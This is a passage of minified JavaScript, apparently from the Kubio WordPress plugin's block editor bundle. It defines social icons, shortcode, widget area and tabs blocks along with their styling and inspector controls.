0:t[0],[n,a]=(0,Me.useState)(Zx.stateToggle.values.NORMAL),i={styledComponent:qx.ICON,state:"normal"},r={styledComponent:qx.ICON,state:n},s=e.getProp("styleType"),l={value:e.getProp("styleType"),onChange:t=>{hC({oldStyleType:s,newStyleType:t,parentDataHelper:e,selectedChildDataHelper:o})}},u={value:e.getStyle("fill",null,r),onChange:t=>{e.setStyle("fill",t,r)}},c={value:e.getStyle("size",null,i)};return{iconSpacing:{value:e.getStyle("margin.right",null,i)},iconPadding:{value:e.getStyle("padding.right",null,i)},styleType:l,iconSize:c,fillColor:u,currentState:n,setCurrentState:a,showOptions:"individual"!==l.value}}))((e=>{const{computed:t}=e,{iconSpacing:o,iconPadding:n,styleType:a,fillColor:i,iconSize:r,currentState:s,setCurrentState:l,showOptions:u}=t;return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Icons","kubio"),initialOpen:!0,children:[(0,Je.jsx)(ut.GutentagSelectControl,{label:(0,We.__)("Style type","kubio"),options:Zx.styleTypeOptions,...a}),u&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.SeparatorHorizontalLine,{fit:!1}),(0,Je.jsx)(ut.ToggleGroup,{label:(0,We.__)("State","kubio"),options:Zx.stateToggle.options,value:s,onChange:l}),"shared"===a.value&&(0,Je.jsx)(ut.ColorIndicatorPopover,{label:(0,We.__)("Icon color","kubio"),showReset:!0,state:s,...i}),(0,Je.jsx)(ut.GradientColorPickerWithPath,{label:(0,We.__)("Icon background","kubio"),showReset:!0,path:"background",state:s,...yC}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Border color","kubio"),showReset:!0,path:["border.top.color","border.bottom.color","border.left.color","border.right.color"],...yC,state:s}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{fit:!1}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Icon size","kubio"),capMin:!0,path:"size",style:lC,...r}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Icon spacing","kubio"),max:50,path:"margin.right",style:lC,...o}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Icon padding","kubio"),capMin:!0,path:["padding.top","padding.bottom","padding.left","padding.right"],max:50,style:lC,...n}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{fit:!1}),(0,Je.jsx)(ut.BordersAndRadiusWithPath,{type:"style",style:lC,path:"border",withColor:!1})]}),!u&&(0,Je.jsx)(ut.ControlNotice,{label:(0,We.__)("Info","kubio"),content:(0,We.__)("Please select an icon to style it","kubio")})]})})})),fC=kC,_C=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(fC,{})}),vC=(0,De.compose)((0,Le.withSelect)(((e,t)=>{const{clientId:o}=t,{getBlockOrder:n}=e("core/block-editor");return{hasChildBlocks:n(o).length>0}})),Ne.withPropsChecker)((function(e){const[t,o]=(0,Me.useState)(),n=(0,Me.useMemo)((()=>({currentActiveItem:t,setCurrentActiveItem:o,socialIconsClientId:e.clientId})),[t]);return(0,Je.jsxs)(eC.Provider,{value:n,children:[(0,Je.jsx)(nC,{}),(0,Je.jsx)(_C,{}),(0,Je.jsx)(rC,{...e})]})})),xC=(0,We.__)("Make your social media profiles stand out across your website. From Instagram to Snapchat and Youtube, you can add any icon you need and style it to match your brand.","kubio"),CC={name:"kubio/social-icons",category:"kubio-components",attributes:{kubio:{type:"object"},groupStyles:{type:"object"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",ICON:"icon"},elementsByName:{outer:{props:{className:["social-icons--container"]},wrapper:!0,default:!0},icon:{selector:".h-svg-icon"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]},default:{props:{styleType:"shared"},style:{descendants:{outer:{textAlign:"center"},icon:{fill:"rgba(0, 0, 0, 0.5)",size:{value:32,unit:"px"},margin:{right:{value:15,unit:"px"}},padding:{right:{value:0,unit:"px"}}}}}}}}},IC=(0,Sn.extendBlockMeta)(CC,{title:(0,We.__)("Social Icons","kubio"),icon:Tn.BlockIcons.SocialButtons,keywords:[(0,We.__)("social icons","kubio"),(0,We.__)("icons","kubio"),(0,We.__)("social","kubio"),(0,We.__)("facebook","kubio"),(0,We.__)("twitter","kubio"),(0,We.__)("instagram","kubio"),(0,We.__)("linkedin","kubio"),(0,We.__)("youtube","kubio"),(0,We.__)("snapchat","kubio"),(0,We.__)("tik tok","kubio")],apiVersion:2,supports:{kubio:{elementsByName:Xx,unlinkStyleIncludesChildren:!0},reusable:!1,html:!1},edit:vC,save:function(){return(0,Je.jsx)(st.InnerBlocks.Content,{})},innerBlocksDisableInBetweenInserter:!0,variationsFilter:e=>null!=e&&e.isDefault?{...e,description:xC}:e}),EC=e=>(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(gC,{...e})})}),TC=e=>{const{clientId:t,isSelected:o,dataHelper:n}=e,[a,i]=(0,Me.useState)(!1),r=(0,Le.useDispatch)("core/block-editor"),{insertBlocks:s}=r,{block:l,insertionPointRootClientId:u,insertionPointIndex:c}=(0,Le.useSelect)((e=>{const{getBlockInsertionPoint:o,getBlock:n}=e("core/block-editor"),a=o();return{insertionPointRootClientId:a.rootClientId,insertionPointIndex:a.index,block:n(t)}}),[t]),p=(0,Me.useRef)(),d=a&&o&&(0,Je.jsx)(Re.Popover,{position:"center top",className:"kubio-color-popover",onClose:()=>i(!1),anchorRef:null==p?void 0:p.current,children:(0,Je.jsx)(Oe.DataHelperContextFromClientId,{clientId:t,children:(0,Je.jsx)(ut.LinkControlWithData,{})})});return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(st.BlockControls,{children:(0,Je.jsx)(Re.ToolbarGroup,{children:(0,Je.jsx)(Re.ToolbarButton,{name:"link",icon:ik,title:(0,We.__)("Link","kubio"),onClick:()=>(i(!0),!1),ref:p})})}),d,(0,Je.jsx)(st.BlockControls,{children:(0,Je.jsx)(Re.ToolbarGroup,{children:(0,Je.jsx)(Re.ToolbarButton,{icon:Da,title:(0,We.__)("Add","kubio"),onClick:()=>{n.duplicate({unlink:!0})}})})})]})},SC=({isSelected:e,StyledElements:t,clientId:o,dataHelper:n})=>(0,Je.jsxs)(Je.Fragment,{children:[e&&(0,Je.jsx)(TC,{isSelected:e,clientId:o,dataHelper:n}),(0,Je.jsx)(t.Link,{children:(0,Je.jsx)(t.Icon,{tag:ut.CanvasIcon,shouldRender:!0})})]}),wC=(0,De.compose)((0,Ne.withColibriDataAutoSave)((e=>({link:e.getAttribute("link"),icon:e.getAttribute("icon")}))),(0,Ne.withStyledElements)((({computed:e}={})=>{var t;return{[lC]:{name:null==e||null===(t=e.icon)||void 0===t?void 0:t.name},[sC]:{}}}))),PC=wC(SC);wC(SC);const AC=(0,Ne.withPropsChecker)((function(e){const t=tC(),{socialIconsClientId:o,setCurrentActiveItem:n}=t,a={clientId:o};return(0,Me.useEffect)((()=>{e.isSelected&&n(e.clientId)}),[e.isSelected]),(0,Je.jsxs)(Je.Fragment,{children:[e.isSelected&&(0,Je.jsx)(Oe.DataHelperContextFromClientId,{clientId:o,children:(0,Je.jsx)(nC,{...a})}),(0,Je.jsx)(EC,{}),(0,Je.jsx)(PC,{...e})]})})),jC={name:"kubio/social-icon",category:"kubio-basic",parent:["kubio/social-icons"],attributes:{kubio:{type:"object"},link:{type:"object",default:{typeOpenLink:"sameWindow"}},preserveSpace:{type:"object"},icon:{type:"object",default:{name:"socicon/facebook"}}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{LINK:"link",ICON:"icon"},elementsByName:{link:{wrapper:!0,prefixWithTag:!0,props:{tag:"a",className:["social-icon-link"]}},icon:{default:!0,prefixWithTag:!0,props:{tag:"icon",htmlTag:"span"},size:{value:32,unit:"px"},margin:{right:{value:15,unit:"px"}},padding:{right:{value:0,unit:"px"}}}},template:{type:"element",props:{name:"link"},children:[{type:"element",props:{name:"icon"}}]},useParentPrefix:!0}}},BC=(0,Sn.extendBlockMeta)(jC,{title:(0,We.__)("Social Icon","kubio"),icon:Tn.BlockIcons.SocialButtons,keywords:[],parent:["kubio/social-icons"],apiVersion:2,supports:{kubio:{elementsByName:uC},reusable:!1,html:!1,inserter:!0},edit:AC}),NC="outer",OC={[NC]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal","hover"]}}},RC=(0,Je.jsx)(Bn.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Je.jsx)(Bn.Path,{d:"M16 4.2v1.5h2.5v12.5H16v1.5h4V4.2h-4zM4.2 19.8h4v-1.5H5.8V5.8h2.5V4.2h-4l-.1 15.6zm5.1-3.1l1.4.6 4-10-1.4-.6-4 10z"})}),DC=({value:e,onChange:t})=>{const o=`blocks-shortcode-input-${(0,De.useInstanceId)(DC)}`;return(0,Je.jsxs)("div",{className:"wp-block-shortcode components-placeholder",children:[(0,Je.jsxs)("label",{htmlFor:o,className:"components-placeholder__label",children:[(0,Je.jsx)(Ba,{icon:RC}),(0,We.__)("Shortcode","kubio")]}),(0,Je.jsx)(st.PlainText,{className:"blocks-shortcode__textarea",id:o,value:e,placeholder:(0,We.__)("Write shortcode hereβ¦","kubio"),onChange:t})]})},LC=(0,De.compose)((0,Ne.withColibriDataAutoSave)(((e,t)=>({shortcode:{value:e.getAttribute("shortcode"),onChange:t=>{e.setAttribute("shortcode",t)}}}))),(0,Ne.withStyledElements)((({computed:e}={})=>({[NC]:{}}))))((e=>{const{computed:t,StyledElements:o}=e,{shortcode:n}=t;return(0,Je.jsx)(o.Outer,{children:(0,Je.jsx)(DC,{value:n.value,onChange:n.onChange})})})),MC=()=>(0,Je.jsx)(Re.PanelBody,{title:(0,We.__)("Shortcode Properties","kubio"),children:(0,Je.jsx)(ut.TextareaControlWithPath,{path:"shortcode",type:Ne.WithDataPathTypes.ATTRIBUTE})}),WC=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(MC,{})}),HC=(0,Ne.withPropsChecker)((function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(WC,{}),(0,Je.jsx)(LC,{...e})]})})),GC={name:"kubio/shortcode",category:"kubio-components",attributes:{kubio:{type:"object"},shortcode:{type:"string",default:""},inEditor:{type:"boolean",default:!1}},supports:{kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer"},elementsByName:{outer:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"outer"}}}}},UC=(0,Sn.extendBlockMeta)(GC,{title:(0,We.__)("Shortcode","kubio"),description:(0,We.__)("Use shortcodes to insert various custom-made forms, galleries, tables, and more, depending on the plugins you use.","kubio"),keywords:[(0,We.__)("shortcode","kubio")],icon:Tn.BlockIcons.Shortcode,apiVersion:2,supports:{kubio:{elementsByName:OC},reusable:!1,html:!1},edit:HC}),FC=(e=!0)=>{const{sidebars:t}=(0,Le.useSelect)((e=>{const t=e("core").getSidebars(),o=[];return t&&(o.push({label:(0,We.__)("Select widget area","kubio"),value:""}),t.forEach((({id:e,name:t})=>{"wp_inactive_widgets"!==e&&o.push({label:t,value:e})}))),{sidebars:o}}),[]);return t},zC=(0,Ne.withComputedData)((e=>({sidebars:FC()})))((({computed:e})=>{const{sidebars:t}=e;return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(Re.PanelBody,{title:(0,We.__)("Widget area","kubio"),children:(0,Je.jsx)(ut.SelectControlWithPath,{options:t,type:Ne.WithDataPathTypes.ATTRIBUTE,path:"id"})})})})),VC=zC,YC=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(VC,{})}),$C="container",KC={[$C]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.SPACING,jn.StylesEnum.BORDER],states:jn.StatesPresetsEnum.BASIC}}},qC=(0,Ne.withColibriDataAutoSave)((e=>{}))((({computed:e})=>{const t=je().get(KC,$C);return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.BackgroundSection,{styledElement:t}),(0,Je.jsx)(ut.BordersAndRadiusSection,{initialOpen:!1})]})})),XC=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(qC,{})}),QC=({setWidgetAreaId:e})=>{const t=FC(!0),o=(0,We.__)("Widget area","kubio");let n=(0,We.__)("Use one of the existing widgets area available","kubio");return(null==t?void 0:t.length)<2&&(n=(0,We.__)("Current theme has no Widget Area defined.","kubio")),(0,Je.jsx)(ut.BlockPlaceholder,{title:o,description:n,icon:Tn.BlockIcons.Contact,children:t.length>1&&(0,Je.jsx)("div",{className:"wp-block-navigation-placeholder__actions",children:(0,Je.jsx)(Re.BaseControl,{children:(0,Je.jsx)(Re.Flex,{children:(0,Je.jsx)(Re.FlexBlock,{children:(0,Je.jsx)(Re.BaseControl,{children:(0,Je.jsx)(Re.SelectControl,{className:Ge()("wp-block-navigation-placeholder__select-control"),onChange:e,options:t})})})})})})})},ZC=(0,De.compose)((0,Ne.withColibriDataAutoSave)(((e,t)=>({id:e.getAttribute("id",""),setWidgetAreaId:(0,Me.useCallback)((t=>{e.setAttribute("id",t)}),[e])}))),(0,Ne.withStyledElements)((({computed:e}={})=>({}))),(0,Ne.withContainerBase)())((e=>{const{computed:t,StyledElements:o}=e,{id:n,setWidgetAreaId:a}=t,i=bn({},{}),r={id:n};return(0,Je.jsxs)(o.Container,{...i,children:[n&&(0,Je.jsx)(Ne.ServerSideRender,{block:"kubio/widget-area",attributes:r}),!n&&(0,Je.jsx)(QC,{setWidgetAreaId:a})]})})),JC={name:"kubio/widget-area",category:"kubio-blog-components",attributes:{kubio:{type:"object"},id:{type:"string",default:""}},supports:{kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{default:!0,wrapper:!0,props:{tag:"div"}}},template:{type:"element",props:{name:"container"}}}}},eI=(0,Sn.extendBlockMeta)(JC,{title:(0,We.__)("Widget area","kubio"),description:(0,We.__)("The widget area block allows you to add blog widgets to anywhere you want on a page or post.","kubio"),keywords:[(0,We.__)("widget","kubio"),(0,We.__)("area","kubio")],icon:Tn.BlockIcons.WidgetArea,apiVersion:2,supports:{kubio:{elementsByName:KC},reusable:!1,html:!1},edit:function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(YC,{}),(0,Je.jsx)(XC,{}),(0,Je.jsx)(ZC,{...e})]})},save:function(e){return(0,Je.jsx)(st.InnerBlocks.Content,{})}}),tI=(0,We.__)("Make use of tabs to improve navigation and user experience. Style your tabs in the normal, hover, and active state.","kubio"),oI=(0,Me.createContext)({}),nI=()=>(0,Me.useContext)(oI),aI=e=>{var t,o;const{clientId:n}=e,{getClientIdsOfDescendants:a,getBlocksByClientId:i,getBlockOrder:r}=(0,Le.select)("core/block-editor"),s=i(a([n])),l=je().first(s.filter((e=>e.name===hn.TAB_ITEMS))),u=null==l?void 0:l.clientId;return{firstTabItemClientId:null===(t=r(u))||void 0===t?void 0:t[0],secondTabItemClientId:null===(o=r(u))||void 0===o?void 0:o[1],tabItemsClientId:u}},iI={HORIZONTAL:"horizontal",VERTICAL:"vertical"},rI=[{value:iI.HORIZONTAL,label:(0,We.__)("Horizontal","kubio")},{value:iI.VERTICAL,label:(0,We.__)("Vertical","kubio")}],sI={NORMAL:"normal",HOVER:"hover",ACTIVE:"customActive"},lI=[{label:(0,We.__)("Normal","kubio"),value:sI.NORMAL},{label:(0,We.__)("Hover","kubio"),value:sI.HOVER},{label:(0,We.__)("Active","kubio"),value:sI.ACTIVE}],uI=((0,We.__)("PX","kubio"),{values:sI,options:lI}),cI={AUTO:"auto",STRETCH:"stretch",FULL_WIDTH:"full"},pI=[{label:(0,We.__)("Auto","kubio"),value:cI.AUTO},{label:(0,We.__)("Stretch","kubio"),value:cI.STRETCH},{label:(0,We.__)("Full width","kubio"),value:cI.FULL_WIDTH}],dI=pI.filter((e=>e.value!==cI.STRETCH)),mI={layout:{options:rI,values:iI},iconSize:{px:{max:30}},tabsItemsStates:uI,tabsItemsWidth:{values:cI,options:{horizontal:pI,vertical:dI},default:cI.AUTO}},hI=(0,Ne.withComputedData)((e=>{const{ownerDocument:t}=(0,Ne.useOwnerDocumentContext)(),o=o=>{o||""!==o||(o="tab-title"),o=(0,Ze.generateSlug)(o,t),e.setAttribute("slug",o)},n={value:e.getAttribute("title"),onChange:t=>{e.setAttribute("title",t),o(t)}};return{slug:{value:e.getAttribute("slug"),onChange:o},title:n}}))((({computed:e,useIcons:t})=>{const{slug:o,title:n}=e;return(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.InputControl,{label:(0,We.__)("Title","kubio"),...n}),(0,Je.jsx)(ut.InputControl,{label:(0,We.__)("Slug","kubio"),...o}),t&&(0,Je.jsx)(ut.IconPickerWithPath,{path:"icon",type:Ne.WithDataPathTypes.ATTRIBUTE})]})})),bI=(0,De.compose)((0,Ne.withComputedData)((e=>{const t=e.getProp("layout","horizontal"),{ownerDocument:o}=(0,Ne.useOwnerDocumentContext)(),n={value:e.getPropInMedia(`tabItemsWidth.${t}`),onChange:o=>e.setPropInMedia(`tabItemsWidth.${t}`,o)},a=e.getProp("icons.show"),i=(e,t)=>(0,We.sprintf)(// translators: %d is the new number of tabs this block has. // translators: %d is the new number of tabs this block has. (0,We.__)("Tab title %d","kubio"),t+1);return{useIcons:a,layout:t,tabsItemWidth:n,afterAddHook:(e,t)=>{const n=i(0,t.length),a=(0,Ze.generateSlug)(n,o);e.setAttribute("title",n),e.setAttribute("slug",a)},afterDuplicateHook:(e,t,n)=>{const{title:a}=n,i=(0,Ze.generateSlug)(a,o);e.setAttribute("slug",i)},iconGetter:e=>!!a&&e.getAttribute("icon"),titleGetter:i}})))((e=>{const{computed:t}=e,{tabsItemWidth:o,layout:n,afterAddHook:a,afterDuplicateHook:i,iconGetter:r,useIcons:s}=t,{tabItemsClientId:l,activeItems:u,onItemSelect:c,afterDeleteHook:p}=(e=>{const{setCurrentTabClientId:t,currentTabClientId:o,selectTabBlock:n}=nI(),a=(0,Me.useCallback)((e=>{t(e.id)}),[t]),{tabItemsClientId:i,firstTabItemClientId:r,secondTabItemClientId:s}=aI(e),l=(0,Me.useCallback)((e=>{e.id===o&&t(o===r?s:r),n()}),[t,o]);return{tabItemsClientId:i,activeItems:(0,Me.useMemo)((()=>o?[o]:[]),[o]),onItemSelect:a,afterDeleteHook:l}})(e);return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Tab Properties","kubio"),children:[(0,Je.jsx)(ut.SelectControlWithPath,{className:"kubio-tab-layout-select-control",label:(0,We.__)("Tab layout","kubio"),type:Ne.WithDataPathTypes.PROP,options:mI.layout.options,path:"layout"}),(0,Je.jsx)(ut.ToggleGroup,{options:mI.tabsItemsWidth.options[n],label:(0,We.__)("Tab items width","kubio"),...o}),(0,Je.jsx)(ut.ToggleControlWithPath,{label:(0,We.__)("Use icons","kubio"),type:Ne.WithDataPathTypes.PROP,path:"icons.show"}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(Oe.DataHelperContextFromClientId,{clientId:l,children:(0,Je.jsx)(ut.SortableCollapseGroupWithData,{activeItems:u,titlePath:"title",iconGetter:r,afterAddHook:a,afterDuplicateHook:i,afterDeleteHook:p,onSelect:c,allowMultipleExpanded:!1,label:(0,We.__)("Tab items","kubio"),children:e=>(0,Je.jsx)(Oe.DataHelperContextFromClientId,{clientId:e.clientId,children:(0,Je.jsx)(hI,{useIcons:s})})})})]})})),gI=bI,yI=e=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(gI,{...e})}),kI="outer",fI="content",_I="tabBar",vI="tabBarHorizontal",xI="tabItemHorizontal",CI="tabItemVertical",II="tabItem",EI="icons",TI="tabItemText",SI="v-space",wI={[kI]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY_FOR_CONTAINER],states:["normal"]}},[fI]:{label:(0,We.__)("Content","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal"]}},[_I]:{label:(0,We.__)("Tab Bar","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal"]}},[II]:{label:(0,We.__)("Tab Item","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING,jn.StylesEnum.TYPOGRAPHY],states:["normal","hover","customActive"]}},[EI]:{label:(0,We.__)("Icons","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.BORDER,jn.StylesEnum.SPACING],states:["normal"]}},[TI]:{internal:!0},[SI]:{internal:!0}},PI=(0,Ne.withComputedData)((e=>{const{globalStyle:t}=(0,bt.useGlobalDataStyle)();return{defaultTextAlign:(0,bt.useInheritedTextAlign)(),vSpacingDefault:t.getPropInMedia("vSpace")}}))((({computed:e})=>{const{vSpacingDefault:t,defaultTextAlign:o}=e,n={type:Ne.WithDataPathTypes.STYLE,style:fI};return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Content","kubio"),initialOpen:!1,children:[(0,Je.jsx)(ut.TypographyContainerControlPopupWithPath,{path:"typography",type:Ne.WithDataPathTypes.STYLE,style:kI}),(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:(0,We.__)("Horizontal align","kubio"),path:"textAlign",defaultValue:o,...n}),(0,Je.jsx)(ut.BoxUnitValueControlWithPath,{label:(0,We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0,...n}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Content elements vertical spacing","kubio"),media:"auto",defaultValue:t,type:Ne.WithDataPathTypes.PROP,path:"vSpace"})]})})),AI=PI,jI=(0,Ne.withComputedData)((e=>{const[t,o]=(0,Me.useState)(mI.tabsItemsStates.values.NORMAL),n=e.getProp("layout","horizontal"),a=mI.layout.values,i=n===a.VERTICAL,r=n===a.HORIZONTAL,s=mI.tabsItemsWidth.values,l=e.getPropInMedia(`tabItemsWidth.${n}`)===s.AUTO,u={value:e.getStyle("justifyContent",null,{styledComponent:xI})},c={value:e.getStyle("justifyContent",null,{styledComponent:CI})};return{typeVertical:i,typeHorizontal:r,currentState:t,setCurrentState:o,showHorizontalTabsBarAlign:l,showIcons:e.getProp("icons.show"),horizontalTextAlign:u,verticalTextAlign:c}}))((({computed:e})=>{const t={type:Ne.WithDataPathTypes.STYLE,style:II},{typeVertical:o,typeHorizontal:n,currentState:a,setCurrentState:i,showIcons:r,showHorizontalTabsBarAlign:s}=e,l="normal"===a?"":a;return(0,Je.jsxs)(ut.KubioPanelBody,{title:(0,We.__)("Tab Items","kubio"),children:[(0,Je.jsx)(ut.ToggleGroup,{label:(0,We.__)("State","kubio"),options:mI.tabsItemsStates.options,value:a,onChange:i}),(0,Je.jsx)(ut.GradientColorPickerWithPath,{label:(0,We.__)("Background","kubio"),path:"background",state:l,...t}),(0,Je.jsx)(ut.ColorWithPath,{label:(0,We.__)("Title color","kubio"),path:"typography.color",state:l,...t}),(0,Je.jsx)(ut.BordersAndRadiusWithPath,{path:"border",...t,state:l}),(0,Je.jsx)(ut.SeparatorHorizontalLine,{}),(0,Je.jsx)(ut.TypographyControlPopupWithPath,{path:"typography",...t,nodeType:"a"}),r&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Icon indent","kubio"),max:50,path:"margin.left",style:TI,type:Ne.WithDataPathTypes.STYLE}),(0,Je.jsx)(ut.RangeWithUnitWithPath,{label:(0,We.__)("Icon size","kubio"),max:30,path:"size",style:EI,type:Ne.WithDataPathTypes.STYLE})]}),n&&s&&(0,Je.jsx)(ut.HorizontalFlexAlignControlWithPath,{label:(0,We.__)("Horizontal align","kubio"),path:"justifyContent",type:Ne.WithDataPathTypes.STYLE,style:vI}),(o||!s)&&(0,Je.jsx)(ut.HorizontalTextAlignControlWithPath,{label:(0,We.__)("Text align","kubio"),path:"justifyContent",type:Ne.WithDataPathTypes.STYLE,style:o?CI:xI,useContentAlignIcons:!1,useHorizontalAlignFlexOptions:!0}),(0,Je.jsx)(ut.BoxUnitValueControlWithPath,{label:(0,We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0,...t})]})})),BI=jI,NI=()=>(0,Je.jsxs)(Oe.StyleInspectorControls,{children:[(0,Je.jsx)(BI,{}),(0,Je.jsx)(AI,{})]}),OI=(0,Ne.composeBlockWithStyle)(hn.TAB_ITEMS),RI=[(0,Ne.composeBlockWithStyle)(hn.TAB_NAVIGATION),OI],DI=[hn.TAB_NAVIGATION,hn.TAB_ITEMS],LI=RI,MI=(0,De.compose)((0,Ne.withColibriData)((e=>({layout:e.getProp("layout"),tabItemsWidth:e.getPropByMedia("tabItemsWidth")}))),(0,Ne.withDynamicStyles)((e=>{const t=e.getPropByMedia("vSpace",{});return{[SI]:jn.dynamicStylesTransforms.vSpace(t)}})),(0,Ne.withStyledElements)((({computed:e})=>{const{layout:t,tabItemsWidth:o}=e;return{[kI]:{className:()=>(e=>{const t=[];switch(e){case"horizontal":t.push("h-tabs-horizontal");break;case"vertical":t.push("h-tabs-vertical")}return t})(t).concat(((e,t)=>{const o=[];return je().each(jn.Media.mediasById,((n,a)=>{const i=je().get(e,a),r=je().get(i,t),s=n.gridPrefix?`-${n.gridPrefix}`:"",l=`h-tabs--${t}--${r}${s}`;o.push(l)})),o})(o,t))}}}))),WI=MI((({StyledElements:e,isSelected:t})=>{const o=(0,Me.useRef)(),n=(0,Ne.useBlockElementProps)(kI),a=bn({...n},{templateLock:!0,renderAppender:!1,allowedBlocks:DI,template:LI});(0,Me.useEffect)((()=>{var e,n;t&&(null===(e=o.current)||void 0===e||null===(n=e.focus)||void 0===n||n.call(e))}),[t]);const i=(0,st.useBlockProps)(a);return(0,Je.jsx)(e.Outer,{...i,ref:o})})),HI=[{id:1,handleAttributes:e=>{const t="kubio.style.descendants",o=(0,Ae.get)(e,`${t}.content.typography.holders`);if((0,Ae.isObject)(o)){const n=(0,Ae.cloneDeep)(e);return(0,Ae.unset)(n,`${t}.content.typography.holders`),(0,Ae.set)(n,`${t}.outer.typography.holders`,o),n}return e}}],GI={name:"kubio/tab",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,default:{props:{layout:"horizontal",icons:{show:!1},tabItemsWidth:{horizontal:"auto",vertical:"auto"},media:{mobile:{tabItemsWidth:{horizontal:"full",vertical:"full"}}}},style:{descendants:{tabItemText:{margin:{left:{value:10,unit:"px"}}},icons:{size:{value:20,unit:"px"}}}}},elementsEnum:{OUTER:"outer",CONTENT:"content",TAB_BAR:"tabBar",TAB_BAR_HORIZONTAL:"tabBarHorizontal",TAB_ITEM_HORIZONTAL:"tabItemHorizontal",TAB_BAR_VERTICAL:"tabBarVertical",TAB_ITEM_VERTICAL:"tabItemVertical",TAB_ITEM:"tabItem",ICONS:"icons",TAB_ITEM_TEXT:"tabItemText",VSPACE:"v-space"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["h-tabs"]}},content:{selector:".h-tabs-item-content"},tabBar:{selector:" > .h-tabs-navigation"},tabBarHorizontal:{selector:"&.h-tabs-horizontal > .h-tabs-navigation"},tabItemHorizontal:{selector:"&.h-tabs-horizontal > .h-tabs-navigation .h-tabs-navigation-item"},tabBarVertical:{selector:"&.h-tabs-vertical > .h-tabs-navigation"},tabItemVertical:{selector:"&.h-tabs-vertical > .h-tabs-navigation .h-tabs-navigation-item"},tabItem:{selector:{normal:" > .h-tabs-navigation .h-tabs-navigation-item",hover:" > .h-tabs-navigation .h-tabs-navigation-item:not(.h-custom-active-state):hover",customActive:" > .h-tabs-navigation .h-tabs-navigation-item.h-custom-active-state"}},icons:{selector:" > .h-tabs-navigation .h-svg-icon"},tabItemText:{selector:" > .h-tabs-navigation .h-svg-icon + .h-tabs-navigation-item__text"},"v-space":{selector:".h-tabs-item-content > .h-y-container > *:not(:last-child)"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},UI=(0,Sn.extendBlockMeta)(GI,{title:(0,We.__)("Tabs","kubio"),keywords:[(0,We.__)("tab","kubio")],icon:Tn.BlockIcons.Tab,apiVersion:2,supports:{kubio:{elementsByName:wI},reusable:!1,html:!1},edit:function(e){const{firstTabItemClientId:t}=aI(e),[o,n]=(0,Me.useState)(t),{selectBlock:a}=(0,Le.useDispatch)("core/block-editor"),i={setCurrentTabClientId:n,currentTabClientId:o,selectTabBlock:()=>a(e.clientId),tabClientId:e.clientId};return(0,Je.jsxs)(oI.Provider,{value:i,children:[(0,Je.jsx)(yI,{...e}),(0,Je.jsx)(NI,{...e}),(0,Je.jsx)(WI,{...e})]})},save:function(){return(0,Je.jsx)(st.InnerBlocks.Content,{})},variationsFilter:e=>{var t,o,n,a;return null!=e&&null!==(t=e.innerBlocks)&&void 0!==t&&null!==(o=t[0])&&void 0!==o&&o[2]&&(0,Ae.isEmpty)(null==e||null===(n=e.innerBlocks)||void 0===n||null===(a=n[0])||void 0===a?void 